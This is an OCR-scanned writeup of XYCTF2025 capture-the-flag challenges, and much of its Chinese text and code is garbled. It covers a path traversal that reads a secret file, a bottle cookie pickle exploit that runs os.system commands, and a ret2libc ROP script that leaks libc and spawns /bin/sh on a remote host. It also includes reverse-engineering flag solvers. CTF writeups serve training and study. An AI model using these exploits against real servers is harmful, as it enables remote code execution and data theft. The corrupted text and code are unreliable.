XYCTF2025 Writeup
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A B RS
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1 # —*- encoding: utf-8 —*-
2 ER
3 @File g main.py
4 @Time 8 2025/03/28 22:20:49
5 @Author : LamentXU
e ER
7 ER
8 flag in /flag_{uuid4}
9 ER
10  from bottle import Bottle, request, response, redirect, static_file, run, route
11 with open('../../secret.txt', 'r') as f:
12 secret = f.read()
13
14  app = Bottle()
15 @route('/")
16 def 1index():
17 return "''HI""'
18 @route('/download')
19 def download():
20 name = request.query.filename
21 if '../../" in name or name.startswith('/') or name.startswith('../') or
"\\' in name:
22 response.status = 403
23 return 'Forbidden'
24 with open(name, 'rb') as f:
25 data = f.read()
26 return data
27

28 @route('/secret')

29 def secret_page():

30 try:

31 session = request.get_cookie('"name", secret=secret)

32 if not session or session["name"] == '"guest":



33 session = {"name": "guest"}

34 response.set_cookie('"name", session, secret=secret)
35 return 'Forbidden!'

36 if session["name"] == "admin":

37 return 'The secret has been deleted!'

38 except:

39 return "Error!"

40  run(host='0.0.0.0', port=8080, debug=False)

41

BREFMEILA./.././../583, HiEFsecret.txt

< Cc A TZe  eci-2zedtu566yabqwndSyla.cloudecil.ichungiu.com:5000/download?filename=./.././../secret.txt
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RiEFhEsekaictf2022M R Bbottle poem

Exp

ARG ER

1 from bottle import response

2  dimport sys

3 command = sys.argv[1]

4

5 class PickleRce(object):

6 def __reduce__(self):

7 import os

8 return (os.system, (command,))

9

10 response.set_cookie('name', {'name':'admin','v':PickleRce()},
secret="HellO_H@cker_YOu_A3r_Sm@r7")

11 print(f'Cookie: {response.headerlist[1][1]}")


https://www.nevi.dev/2022/10/02/writeup-sekaictf-2022/#bottle-poem-web
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view-sourcek EgimjsLig

[«
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ox1)

I

while (R + X + b + M != nw4) L: switch (R + X + b + M) {

case Bw4:

case ! ($vQZ5Qr.sIVfZt)[yD4](nS4) == '0') ? -vod: Qw4: var ¢ = new((r[D74](F74)) || Date);
r[C74]0;
break L;

&k X

FHHAEN): alert \ ERF—NE
75 ]
[ RSANSO OBLtY @EFD)

rw74]0);

CIEARR

5 T TuT

break L;

case ! ($vQZ5Qr.sIVfZt)[yD4](nS4) == '0') ? -kw4: Lw4: var y = (c.setTime($vfeRha_calc((r[q74] = c).getTime(), k * (r[Z74] = )[Og4] * r[Ng4] * r[Ng4] * Rw4, (r[P74] = $v5sNVR)(vS4))), $vfeRI
break L;

case zS4:
r[Ng4] = void 0x0;
vary = (c.setTime($vfeRha_calc((r[W74] == Iw4 || c).getTime(), k * (r[_74] = r)[Oqg4] * (r[W74] == yB4 ? r: void 0x0)[Ng4] * (r[x74] = r)[Ng4] * aw4, $v5sNVR(vS4))), (typeof ro74] == Kg4 *
break L;

default:
vary = ((r[E74] == rw4 ? eval: ¢).setTime((r[Og4] == wB4 || $vfeRha_calc)(c.getTime(), k * r[Og4] * (b == -Nw4 || )[Ng4] * r[Ng4] * Rw4, (R == Hs4 || $v5sNVR)(vS4))), $vfeRha_calc((r[Oqg:
7410
break L

}

}

}
if (G < yw4) {
(O[s74](J74))
}else {
alert($vfeRha_calc(S74 + G / Rw4, Y74, $v5sNVR(vS4)))

}
void(O[t74] = !0x1, location[K74]())
}
function I3KH_([position], O) {
if ((position < Us4 || position > O[174]()) && $vQZ5Qr.sIVfZtJ[yD4](nS4) == '0") {
return ! 0x1

}
return O[n74][position] == O[174]() && $vQZ5Qr.sIVfZt)[yD4](nS4) == 'o' ? 10x0: !0x1

FIMFEIRHAZ KME N R/REENTE, BUERARFETESEK

3
Xle_410;
break y;
case X[o_4] ? -el4: jod: void((X[K_4] = console).log(X[i_4] == ps4 ? L: a), X[x_4](), X[t_4] = 10x1);
break y;
case nS4:
case |14:
case El4:
var N = 10x1;
void(X[j_410, ¢ += Xlg_4], XIq_410);
break y;
case X[J_4](G):
I(console.log(X[l_4] = a), r += X[C_4], ¢ += X[w_4], L -= RT4, X[t_4] = 10x1);
break y
}
b
set[t74](G) {

logde564hc3f4 = G

2
get[cq4]() {
return performance

b
get[ag4]() {
return endTime
b
get[rq4]() {
return startTime

2
get[n_4]( {
return infernity

b
[s74] : function(...V) {
var X = 10x1;
if (X) {
vary = $vspnXY(function(...N) {
void(N.length = 0x3, N.muORf4 = 0x5f, N.JQFn6dh = {},
N.muORf4 = -0xf, N.XwDm6K = -0x9);
if (N[0x2].length !== N[N.XwDm6K + 0x9].length + N[0x1].length) {
return ! Ox1
} ISERTLEE 1
return N.muORf4 > N.XwDm6K + 0x28 ? N[0x7e] : G(N[0x0], N[0x1], N[N.muORf4 + 0x11], Us4, Us4, Us4, N.JQFn6dh)
b

Nv2)

338747, £13%) 100% Windows (CRLF) UTF-8

RIE B IBNXO8ywaRt 2270 RVBT E], ARABIEEIEH &P EISK—=BENR]; miX
ogde564hc3fARERHEBEN Mtrue
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Pwn

Ret2libc's Revenge



fE fgetc(stdin) EIEEEAN, HALGEHRARE, SHREL.

A EBEZAR T ret2libc, BRAMAEEREES rdi , AJUMIEINTAIROPHE BRRITHY

pop rdi ;ret

EIIR

and rsi, 0

add rsi, gqword ptr [rbp + 0x20]
ret

ret

add rsp, 8

gword rdi_value

~N~ o o0 WN K

mov rdi, rsi

EAERE rbp KENFEFS, FRLUEHNAREEESE rbp BIE, AILUEES ve RVIREREDN

BY rbp+8 ByHtsit, BKEISropRIithrs K.

1@ v5 = 6;
11 while ( !feof(stdin) )
12 {

13 v4d = fgetc(stdin);
14 if ( v4 == 10 )
15 break;

16 ve = Vb++;

17 vS = ve;

18 v2[ve] = v4;

19 }

20 V3 = v6;

21 v2[ve] = o;

22  return v3;

23}

59, stdout RETEEA, BELZRRE main FIREARZERHE. FAMNEHIXKENZE

A—#, ZRFHXEAMTIERKER 0x1000 o

(RS EEZS
from pwn import *
context(os="1l1inux",arch="amd64",log_level="debug")

host,port = "39.106.71.197", 30761

jo=remote (host,port)

0o N o 00~ W N R

ret = 0x40101a
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and_
add_
add_

mov_

rsi_ret = 0x4010e4
rsi_ret = 0x4010eb
rsp_ret = 0x401016
rdi_rsi_ret = 0x401180

main_addr = 0x40127b
revenge_addr = 0x4011ff

elf=

ELF("./attachment")

libc=ELF("./libc-2.35.s0")
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]

padstack = b'a' * (0x220 - 4) + b'\x28'
payload® = padstack + p64(main_addr)
payloadl = flat([

padstack,

def

p64(and_rsi_ret),
p64(add_rsi_ret),
p64(ret),

p64(ret),
p64(add_rsp_ret),

p64 (puts_got),

p64 (mov_rdi_rsi_ret),
p64 (puts_plt),

p64 (revenge_addr)

1)

stdout_leak():

jo_round = 0x1000//19-1

for i in range(io_round):
io.sendline(payload0)

io.sendline(payloadl)

io.sendline(payload0)

out = jo.recv(0x1000)

leak_addr = out[(io_round+1)*19:][:6]
leak_addr = u64(leak_addr.ljust(8,b"\x00"))

print(hex(leak_addr))

return leak_addr

leak = stdout_leak()

libc.address = leak - libc.symbols["puts"]

system = libc.symbols["system']

binsh = next(libc.search(b"/bin/sh\x00"))



56 payload2 = flat([

57 padstack,

58 p64(and_rsi_ret),
59 p64(add_rsi_ret),
60 p64(ret),

61 p64(ret),

62 p64 (add_rsp_ret),
63 p64 (binsh),

64 p64 (mov_rdi_rsi_ret),
65 p64 (system)

66 1)

67

68 do.sendline(payload2)
69 do.interactive()

Reverse

WARMUP
vbsiiZs, 5 MRIAERE!

HEGIR

1  src = [int( 667205/8665 ) , int( -7671+7786 ) , int( 8541-8438 ) , int(
422928/6408 ) , int( -1948+2059 ) , int( -3066+3186 ) , int( 756-724 )
4080/120 ) , int( -3615+3683 ) , int( -1619+1720 ) , int( —-2679+2776 )

659718/5787 ) , int( 302752/9461 ) , 1int( -6627+6694 ) , int( —-4261+4345 )
int( 81690/1167 ) , int( 636180/9220 ) , int( 538658/6569 ) , int( -1542+1588
) , int( -1644+1676 ) , int( 122184/1697 ) , int( 966411/9963 ) , int( 2186-
2068 ) , int( -5283+5384 ) , int( 305056/9533 ) , int( 66402/651 ) , int(
1141452/9756 ) , int( 882090/8019 ) , int( -4243+4275 ) , +int( 2669-2564 )
int( 83+27 ) , +int( 254880/7965 ) , +int( -1291+1379 ) , +int( -4699+4788 )
int( 4730-4663 ) , int( -1179+1263 ) , +int( 5274-5204 ) , +int( 210144/6567 )
int( -6803+6853 ) , int( 6655-6607 ) , int( 4067-4017 ) , int( 121900/2300 )
int( -6158+6191 ) , int( 11934/351 ) , +int( 64883/4991 ) , int( 65420/6542 )
int( 3781-3679 ) , int( 1612-1504 ) , 1int( 892788/9204 ) , int( 927618/9006 )
, int( -6692+6724 ) , +int( 410591/6731 ) , int( 6675-6643 ) , int( 697880/9560
) , int( 4250-4140 ) , dint( 5464-5352 ) , int( -1082+1199 ) , int( 3343-3227 )
, int( 1211-1145 ) , int( 482406/4346 ) , int( -5549+5669 ) , int( -5150+5190
) , int( 4400-4366 ) , int( -3277+3346 ) , int( -6649+6759 ) , int( -5669+5785
) , int( -6734+6835 ) , dint( 9757-9643 ) , int( 109-77 ) , int( 5620-5504 )
int( -2887+2991 ) , int( -3081+3182 ) , int( -5109+5141 ) , int( 699860/9998 )
, int( -3603+3679 ) , int( 1631-1566 ) , int( 445-374 ) , int( 294118/5071 )
int( -1115+1149 ) , +int( 222376/5054 ) , +int( 8137-8105 ) , +int( -1653+1687 )
, int( 357104/4058 ) , int( 1650-1561 ) , int( -9501+9568 ) , int( 1047-963 )
, int( 2540-2470 ) , int( 1692-1658 ) , int( 9947-9906 ) , int( 9186-9173 )



int( -2846+2856 ) , int( 425187/3573 ) , int( -3066+3167 ) , int( 2850-2748 )
, int( -2992+3090 ) , int( 958230/8190 ) , int( 869295/7305 ) , int( 3380-3275
) , dnt( -7338+7455 ) , {int( 408848/4048 ) , dint( 9211-9179 ) , int(
-2437+2498 ) , int( 1672-1640 ) , +int( 2378-2344 ) , +int( 544749/9557 ) , +int(
351120/7315 ) , int( 773800/7738 ) , int( 2033-1931 ) , int( -8059+8111 ) ,
int( -4731+4783 ) , int( -9204+9252 ) , dint( -4261+4316 ) , 1int( 850521/8421 )
, int( -7011+7112 ) , +dnt( 292272/6089 ) , int( -8609+8666 ) , int( -2921+2972
) , int( 6772-6672 ) , dint( 487611/9561 ) , int( -6754+6802 ) , int(
464835/8155 ) , int( -939+987 ) , int( 421173/7389 ) , int( -8145+8201 ) ,
int( 9368-9268 ) , int( -7682+7738 ) , int( -8646+8699 ) , int( 484612/4996 )
, int( 286832/5516 ) , int( -9710+9760 ) , int( 884156/9022 ) , int( 7080-6979
) , int( 265477/5009 ) , dint( 6+49 ) , dint( 5395-5298 ) , int( 6645-6595 ) ,
int( -9706+9763 ) , int( -6697+6752 ) , int( 927-870 ) , 1int( 4048-3946 ) ,
int( 34398/702 ) , int( 825675/8175 ) , int( -438+491 ) , +int( 87808/1792 ) ,
int( -2601+2653 ) , int( 420228/7782 ) , int( -5266+5317 ) , int( 53059/547 )
, int( 477054/9354 ) , +dint( 9238-9189 ) , +int( 799112/7912 ) , +int( 3340-3284
) , int( 8544-8444 ) , dnt( 1220-1171 ) , int( -7192+7245 ) , 4int( 73629/729 )
, int( 6523-6473 ) , int( 2761-2659 ) , int( 358124/3692 ) , int( -6167+6266 )
, int( -3842+3894 ) , +int( 7840-7739 ) , int( -3980+4036 ) , int( 987-935 ) ,
int( 6868/68 ) , int( -559+656 ) , int( 6513-6465 ) , int( 843300/8433 ) ,
int( -8159+8261 ) , int( -753+807 ) , 1int( 278700/5574 ) , 1int( 5600/112 ) ,
int( -549+646 ) , int( -7697+7750 ) , int( 390292/7364 ) , int( 988020/9980 )
, int( -3250+3302 ) , int( 6295-6195 ) , int( 4342-4242 ) , int( -9602+9704 )
, int( 1312-1214 ) , +dnt( 1065-1012 ) , int( 1122/22 ) , +int( 191012/3604 ) ,
int( 330775/3275 ) , int( 226848/2224 ) , 1int( 4973-4922 ) , +int( 369357/3657
) , dint( -7229+7282 ) , int( 588/12 ) , int( 57570/570 ) , int( 4554-4498 ) ,
int( 483924/4938 ) , int( 485600/9712 ) , int( 5051-4998 ) , +int( 8467-8417 )
, int( -6799+6855 ) , int( 668360/6820 ) , int( 428008/7643 ) , 1int( —-309+359
) , int( -7495+7549 ) , dint( 198200/1982 ) , int( -4298+4351 ) , int( 2979-
2928 ) , int( -391+443 ) , int( -5951+6006 ) , int( -2271+2372 ) , int( 1431-
1382 ) , 1int( -2812+2866 ) , int( 4906-4853 ) , 1int( -5308+5365 ) , int(
-8587+8636 ) , int( -1003+1053 ) , int( 468741/4641 ) , 1int( 8449-8392 ) ,
int( 14877/261 ) , int( -5097+5146 ) , int( 6695-6646 ) , int( -2866+2922 ) ,
int( 483786/9486 ) , int( -4142+4193 ) , int( 2347-2296 ) , int( -1784+1833 )
, int( 116229/2193 ) , +int( -1099+1148 ) , +int( 8230-8180 ) , int( -4351+4406
) , dnt( 1975-1924 ) , dint( 779229/7871 ) , int( 102960/1040 ) , int(
67830/1330 ) , int( -4771+4873 ) , int( -32+129 ) , +int( 155456/2776 ) , 1int(
9798-9700 ) , int( 4944-4894 ) , int( -2496+2594 ) , +int( 5495-5444 ) , int(
8113-8015 ) , int( -8444+8496 ) , int( 3896-3847 ) , 1int( 6306-6255 ) , int(
1284-1185 ) , int( 1003986/9843 ) , int( -1321+1371 ) , 1int( 2676-2578 ) ,
int( -5421+5521 ) , int( 564186/5757 ) , int( 6608-6559 ) , int( 7038-6937 ) ,
int( 209720/3745 ) , int( -616+715 ) , 1int( 9766-9709 ) , int( 2111-2012 ) ,
int( 528993/9981 ) , int( 1901-1851 ) , int( 281344/5024 ) , +int( 5695-5641 )
, int( 4815-4762 ) , +int( 399556/3956 ) , int( 572730/5615 ) , int( -5718+5817
) , dnt( 21+27 ) , dint( 4532-4475 ) , dint( -8446+8499 ) , int( 5786-5689 ) ,
int( 4177-4121 ) , int( -8411+8511 ) , +int( -9499+9599 ) , int( 479528/8563 )
, int( 6850-6793 ) , int( -3725+3823 ) , int( -8692+8743 ) , 1int( 284298/2901



) , int( 214302/4202 ) , 1int( 576675/5825 ) , int( -4565+4667 ) , int(
~7223+7321 ) , dint( 383278/3911 ) , int( -2540+2590 ) , int( 35+13 ) , int(
~5549+5597 ) , int( 969122/9889 ) , int( 964712/9844 ) , int( -6231+6328 ) ,
int( -1560+1660 ) , int( -7416+7514 ) , +int( 609144/5972 ) , +int( 471432/9066
) , int( -4500+4597 ) , dint( 8620-8566 ) , int( 7113-7014 ) , 1int( -2488+2588
) , int( -3599+3651 ) , int( 211956/6234 ) , int( 1697-1665 ) , int(
-5122+5161 ) , int( -3189+3221 ) , +int( -5840+114 ) , 1int( -37790+6278 ) ,
int( -8.231351E+07/3957 ) , int( -14110+7864 ) , 1int( -30457-1205 ) , +int(
9930-9863 ) , int( 107-55 ) , int( 517-7291 ) , int( -31263+6916 ) , int(
-29685+9083 ) , int( -2.138515E+07/3442 ) , int( -26304-1370 ) , int(
-1.510879E+08/6060 ) , int( -903-3261 ) , int( -22484-8007 ) , 1int(
-34437+5126 ) , int( -10635+3856 ) , int( -1.97004E+08/9374 ) , 1int(
-1.079768E+08/6550 ) , int( -2.533546E+07/3739 ) , int( -25645+6931 ) , 1int(
~1.720817E+08/7056 ) , int( -12498+5774 ) , int( -2.164872E+08/7546 ) , 1int(
-8955-8316 ) , int( -3584+3597 ) , int( -1280+1290 ) , int( 795633/7041 ) ,
int( 291669/2451 ) , int( 9044-8942 ) , +int( 264014/2614 ) , +int( -7841+7873 )
, int( 10919/179 ) , +int( 22272/696 ) , int( -8135+8169 ) , int( -5733+5847 )
, int( 371547/3753 ) , int( 473980/9115 ) , int( 391-284 ) , +int( -1824+1925 )

(RS EEZS

1

b'MsgBox "Dear CTFER. Have fun in XYCTF 2025!"\r\nflag = InputBox("Enter the
FLAG:", "XYCTF")\r\nwefbuwiue =
"90df4407ee093d309098d85a42be57a2979f1e51463a31e8d15e2fac4e84eaddf622a55c4ddfb5s
35ef3e51e8b2528h826d5347€165912€99118333151273cc3fa8b2b3b413cf2bdble8c9c52865ef
c095a8dd89b3b3cfbb200bbadbf4a6cd4™ \'
\xa2\xe8\xbf\x9aRC4\x8a\xe5\x86\xbb\xe6\x9d\xbc\xe5\x81\x85\xe8\x9b\x89\xe6\xbd
\xbc\xef\x89\r\nqgwfe = "rcdkey"\r\n\r\n\'
\xcO\xe5\x8d\x90\xe7\x84RC4\x8a\xe5\x86\x87\xe6\xbO\r\nFunction

RunRC(sMessage, strKey)\r\n Dim kLen, i, j, temp, pos, outHex\r\n Dim
s(255), k(255)\r\n \r\n \' \x88\xe5\x8c\x8c\xe5\x86\x92?\n kLen =
Len(strKey)\r\n For i = 0 To 255\r\n s(i) = d\r\n k(i) =
Asc(Mid(strKey, (i Mod kLen) + 1, 1)) \'
\xaf\xe9\xa5\xbd\xe8\xa8ASCII\xbc\xe7\x81\r\n Next\r\n \r\n \'

KSA\xaf\xe9\xa5\xb0\xe5\xa6\r\n j = 0\r\n For i = 0 To 255\r\n j
= (j + s(i) + k(i)) Mod 256\r\n temp = s(i)\r\n s(i) = s(j)\r\n
s(j) = temp\r\n Next\r\n \r\n \'
PRGA\ x8a\xe6\x86\xb5\xe7\x8c\r\n i=0:7 =0 : outHex = ""\r\n For pos
= 1 To Len(sMessage)\r\n i = (i + 1) Mod 256\r\n j = (3 + s(i))
Mod 256\r\n temp = s(i)\r\n s(i) = s(j)\r\n s(j) =
temp\r\n \r\n \'
\x8a\xe5\x86\xb9\xe8\xac\xb8\xe5\x81\x85\xe8\x9b\x89?\n Dim plainChar,
cipherByte\r\n plainChar = Asc(Mid(sMessage, pos, 1)) \'
\ x99\ xe7\x87\x8cASCII\xa4\xe7\x86\r\n cipherByte = s((s(i) + s(j)) Mod
256) Xor plainChar\r\n outHex = outHex & Right("@" & Hex(cipherByte),

2)\r\n Next\r\n \r\n RunRC = outHex\r\nEnd Function\r\n\r\n\'
\xb8\xe9\x8c\xb0\xe9\x80\xe8\x91\r\nIf LCase(RunRC(flag, qwfe)) =



LCase(wefbuwiue) Then\r\n MsgBox "Congratulations! Correct
FLAG!"\r\nElse\r\n MsgBox "Wrong flag."\r\nkEnd If\r\n'

BAXEEE, BERFEMERT. BHELIRCAINE, FACyberchefff—T5%lflag, &EMD5E

——
AN
o
Recipe ~ Al B Input + O] m =
N ® 908df4407ee093d309098d85a42be57a2979f1e51463a31e8d15e2fac4e84ea®df622a55c4ddfb
e 535ef3e51e8b2528b826d5347e165912e99118333151273cc3fa8b2b3b413cf2bdble8¢cS9c5286
Passphrase SefcB95a8dd89b3b3cfbb20@bbadbfiascds)
rcdkey UTF8 ~
Input format Output format
Hex Latin1

AEc = T Raw Bytes
199 = 1 Tr Raw Byt &« LF

Output g0om:o:

flag{Welc@Ome_t@_XYCTF_2025_reverse_ch@lleng3_by_th3_w@y_p3cd@wn's_chall_is_r3
@lly_gr3@t_& fun!}

.
STEP
Auto Bake
A 95 = 1 @ 2ms Tt Raw Bytes €= LF (detected)

moon
EbiRE MBI pyAApyd, 7E3.117] LUERIETT
Fihelpdi<, BREE—TF



Help on module moon:

NAME
moon

FUNCTIONS
check_flag(input_str)
REIEIEERETH: (BEED, 51

xor_crypt(seed_value, data_bytes)

DATA
SEED = 1131796
TARGET_HEX = 'U26b87abdBceaa3c58761bbb0172606dd8ab06LUU91a2a76af9a93ela. ..
__test__ = {}

FILE
d:\ctf# H \xyctf\2025\moon\moon. pyd

IDAZ trpyd, XTS5, BEAUEEI—MFHEE PyInit_moon . ZEEXEREMIEEE]
RPN R ELAISE . KR AT B EE

e xor_crypt : #l%4fkseed, A random.randint FRIMFEVEFIENNFETEHAZRSR

if ( )
= va42(randon, )s
else
= PyObject_GetAttr(r , )
= (_QWORD *) 5
if (! )
{
= 2677;
goto LABEL_117;
}
= (*random)-- == 1i64;
if ( )
Dnalloc(- dom) ;
d ( Q IORD *)sub_180004340(v5, *((_QWORD *)pool + 42));
if ( I )
{
= 2680;
goto LABEL_117;
}
= (*v5)-- == lie4;
if ( )
Py_Dealloc(v5);
= (_QWORD *)PyNumber_Xor( » random);
if (!
{
= 2683;
goto LABEL_117;
}
= (*random)-- == 1i64;
if ( )
Py_Dealloc(random);
= pylist[2];
ran = 0164,
if ( [4] <= )
if ( (unsigned int)PylList Append( . ) )

e check_flag : M xor_crypt , fERIBHEZEX LR,

EcheckBViZBEAE S, MARHAY, FTUAIUEZIER xor_crypt , FABXIFEIRAX
ﬂago



(ASEEZS

import moon

1
2
3 seed_val = moon.SEED

4  target = moon.TARGET_HEX

5 data = [int(target[i*2:(i+1)*2],16) for i 1in range(len(target)//2)]
6

7

print(moon.xor_crypt(seed_val,bytes(data)))

Dragon

bc XHEIXITLLVMAbitcode IR, FERALLVMEREFTEBESRN 11c BEHEIF ISR BEIRX
%o

IDAZHT, RNRYflag@2 N F T —HITECRC64, ERIRMKEF,

ARG ER

1 #include<stdlib.h>

2  #include<stdio.h>

3  #include<string.h>

4  #include<stdint.h>

5 #include"ida_def.h"

6

7 __int64 calculate_crc64_direct(const unsigned __int8 *al, unsigned __int64 a2)
8 {

9 __int64 v3; // [rsp+Oh] [rbp-28h]

10 unsigned __int64 i; // [rsp+8h] [rbp-206h]

11 unsigned __int64 j; // [rsp+10h] [rbp-18h]

12

13 v3 = -1;

14 for (1 =0; i < a2; ++i )

15 {

16 v3 A= (unsigned __int64)al[i] << 56;

17 for (j =05 j < 8; ++j )

18 {

19 if (v3 >=0)
20 v3 *x= 2ull;
21 else
22 v3 = (2ull * v3) * Ox42FOE1EBA9EA3693ull;
23 }
24 }
25 return ~v3;
26}
27
28 void brute(uint64_t target_crc, uint8_t *result) {



29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

uint8_t dnput[2];
uint64_t computed_crc;

for (int bl = 0x20; bl < OX7F; bl++) {
for (int b2 = 0x20; b2 < Ox7F; b2++) {

input[0]
input[1]

(uint8_t)b1l;
(uint8_t)b2;

computed_crc = calculate_crc64_direct(input, 2);

if (computed_crc == target_crc) {

result[0] = bl;
result[1] = b2;

return;

}
result[0] 0;
result[1] 0;

unsigned char crcdatal] =

{

}s

Ox47, Ox7B, Ox9F, Ox41, Ox4E, OxE3,
OxB2, OxE7, OxD4, OxF8, Ox1E, 0Ox03,
OxBC, Ox2F, OxD6, 0Ox12, OXE8, Ox55,
OxE8, 0Ox83, OxCC, Ox65, OxB6, Ox2A,
Ox6B, OxD9, 0Ox62, Ox2A, 0x1B, OxCA,
Ox73, Ox76, OxAO, OxF8, OxFF, OxB1,
0Ox27, O0x16, OxA8, OxOD, OxB7, OxAA,
OxF1, Ox9E, 0x45, O0x61, OxF2, OxE7,
Ox0B, OxE6, Ox6F, OxF5, OxAl, Ox7C,
OxB7, Ox43, OxBO, OxA8, OxD3, Ox9B

int main()

{

__int64 v7[13];
unsigned char result[0x42];
memcpy (v7, crcdata, Ox60u);

for(int r=0;r<12;r++)
{
brute(v7[r],result+2*r);
printf("%s\n", (char*)result);
}

return 0;

0x63,
Ox9E,
Ox57,
OxEB,
0x82,
OxE1,
oxDo,
0xD2,
oxC9,

oxDC,
OxD8,
0xCC,
OxB1,
0x93,
0Ox05,
OXES8,
Ox3F,
0x63,

oxC6,
Ox5F,
OxE1,
Ox7B,
Ox87,
Ox8E,
Ox1A,
0x78,
OxAB,

OxBF,
0x62,
0xB6,
OxFC,
OxC3,
0x38,
OXE6,
0x92,
Ox3A,



76}

Lake
IDAFTH G, FhfingeriiE 7T —E0F=S, Z/ETE start REMHAIRET INZEZIE:

while ( word_100820048 < 123LL )

{

word_10800820860 = word_leeel547e[(unsigned _ intl6)word_leee2ee4e];
word_106020070 = word_100015470[word_100020040 + 1];
word_106020080 = word_100015470[word_100020040 + 2];
word_100020040 += 3;

if ( word_100020060 >= 1 )

switch ( word_leee2eese )
{

case 1:
add(word_100020070, word_1e0020880);
break;

case 2:
sub(word_100020070, word_le0e2088@);
break;

case 3:
mul(word_106020070, word_160020886);
break;

case 4:
divis(word_leeezee7e, word_106020080);
break;

case 5:
mod(word_106020070, word_160020686);
break;

case 6:
and(word_106020070, word_160020080);
break;

case 7:
or(word_100020070, word_106020080);
break;

case 8:
xor(word_106020870, word_1600200688);
break;

}
}

encode((__inte4)input_flag, 39LL);

switch-case SKILT—NEREREM, AJUABRhandlerfiR—EEAN_TizE, RERAK
EIRCES

(RS EEZS

1 bytecode = [0x0002, 0x0002, 0x000C, 0x0001, Ox001A, 0x0055, 0x0001, Ox0023,
0x000C, 0x0002, OXOO00E, 0x0009, 0x0001, Ox001B, 0x0006, 0x0008, OxO006,
0x0005, 0x0008, Ox0001, 0x0005, 0x0002, Ox001B, OXO00E, 0x0002, Ox0019,
0x0003, 0x0002, Ox001A, 0x0004, 0x0008, Ox0004, 0x0008, 0x0001, OxO003,
0x000C, 0x0002, Ox000C, Ox000A, 0x0001, Ox0025, 0x0002, 0x0001, Ox0020,
0x0002, 0x0001, Ox0009, 0x000C, 0x0008, OxO01A, 0x0005, 0x0002, Ox0004,
0x000D, 0x0008, Ox0008, Ox000F, 0x0002, OxO00A, OX000E, 0x0001, Ox0010,
0x0007, 0x0001, Ox000C, 0x0007, 0x0008, Ox0022, 0x0008, 0x0008, Ox0015,
0X000A, Ox0001, 0x0027, OXO007E, Ox0002, 0x0007, 0x0002, Ox0008, OxO00F,
0x0003, Ox0008, OxO00A, OX000A, Ox0001, 0x0022, 0x000B, Ox0002, 0x0012,
0x0008, 0x0002, Ox0019, 0x0009, 0x0008, OxOO0E, 0x0006, 0x0008, OxO000,
0x0005, 0x0001, OxO00A, 0x0008, 0x0008, Ox001B, 0x0007, 0x0008, OxOO0D,



0x0006, 0x0008, Ox000D, 0x0004, 0x0008, Ox0017, Ox000C, 0x0008, Ox0022,
OX000E, 0x0002, Ox0012, 0x0034, 0x0001, Ox0026, OX0077]

2

3 handler = {

4 1:"data[%d] += %d",

5 2:"data[%d] -= %d",

6 3:"data[%d] *= %d",

7 4:"data[%d] /= %d",

8 5:"data[%d] %= %d",

9 6:"data[%d] &= %d",

10 7:"data[%d] |= %d",

11 8:"data[%d] "= %d"

12 3}

13

14  dec_handler = {

15 1:"data[%d] -= %d",

16 2:"data[%d] += %d",

17 3:"data[%d] /= %d",

18 4:"data[%d] *= %d",

19 8:"data[%d] "= %d"

20 }

21

22 def dis(lst):

23 fmt = handler[1lst[0]]

24 print(fmt%(lst[1],1lst[2]))
25

26 def dec_dis(lst):

27 fmt = dec_handler[1lst[0]]
28 print(fmt%(lst[1],1lst[2]))
29

30  for i 1in range(0,len(bytecode),3):
31 dis(bytecode[i:i+3])

32 dec_dis(bytecode[i:7+3])

ZRAMMEBBRRFTHNEMEIEE, RARTIEMNRIN, EREEEXYNAEEEEAFRER
=N

[EEEE—MFTRRE, BIBAITE UM, HEIEBREHEHTEIERE,

(ASEEZS

1 def decode_optimized(data):

2 original = bytearray(40)

3 for i in range(0, 10):

4 if 4 x 4 + 1 <= 39:

5 b3_low = data[4x*i + 3] & ObOOEEE111
6 b3_high = data[4*i + 3] & 0b11111000



10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
a7
48
49
50

original[4xi + 1] |= (b3_low << 5) & OxFF
original[4*xi + 0] |= (b3_high >> 3) & OxFF

if 4 x i <= 39:
b2_low = data[4xi + 2] & 0bOOEOE111
b2_high = data[4*i + 2] & 0b111116000
original[4xi + 3] |= (b2_high >> 3) & OxFF
original[4xi + 0] |= (b2_low << 5) & OxFF

if 4 x i + 3 <= 39:
bl_low = data[4xi + 1] & 0b0OEEO111
bl_high = data[4*i + 1] & 0b11111000
original[4xi + 2] |= (bl_high >> 3) & OxFF
original[4xi + 3] |= (bl_low << 5) & OxFF

if 4 x 4 + 2 <= 39:
bO_low = data[4x*i] & ObOOEEE111
bO_high = data[4%i] & 0b11111000
original[4xi + 2] |= (bO_low << 5) & OxFF
original[4xi + 1] |= (bO_high >> 3) & OxFF

return list(original)

data = [0Ox4A, OxAB, 0x9B, Ox1B, 0x61, 0xB1l, OxF3, 0x32, 0xD1l, 0x8B, Ox73,
OxEB, OxE9, 0x73, Ox6B, 0x22, 0x81, 0x83, O0x23, 0x31, OxCB, 0x1B, O0x22, OxFB,
0x25, OxC2, Ox81, Ox81, Ox73, Ox22, OxFA, 0x03, O0x9C, 0x4B, Ox5B, 0x49, 0Ox97,
Ox87, OxDB, 0x51]

data = decode_optimized(data)

data[2] += 12
data[26] -= 85
data[35] -= 12
data[14] += 9
data[27] -= 6
data[6] *= 5
data[l] *= 5
data[27] += 14
data[25] += 3
data[26] += 4
data[4] *= 8
data[3] —-= 12
data[12] += 10
data[37] -= 2
data[32] -= 2
data[9] -= 12
data[26] A= 5
data[4] += 13



51 data[8] ~= 15
52 data[10] += 14
53 data[l6] -= 7
54 data[12] -= 7
55 data[34] "= 8
56 data[21] *= 10
57 data[39] -= 126
58 datal[7] += 2

59 data[15] A= 3
60 data[10] ~= 10
61 data[34] -= 11
62 data[18] += 8
63 data[25] += 9
64 data[14] ~= 6
65 data[0] ~= 5

66 data[l10] -= 8
67 data[27] *= 7
68 data[l13] ~= 6
69 data[13] *= 4
70 data[23] *= 12
71 data[34] 7*= 14
72 data[18] += 52
73 data[38] -= 119
74

75 print(bytes(data))

Crypto

EERZE, 8K demoninator % 1 FLEEEZE] nominator B getrandbits(32) , FEEFE
ERELZHAIMT 1993750,

ARG ER

1 from pwn dimport *

2 from Crypto.Util.number -import =*
3 from random import =*

4

5 d0 = remote('39.106.71.197',32860)
6 1s = []



10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
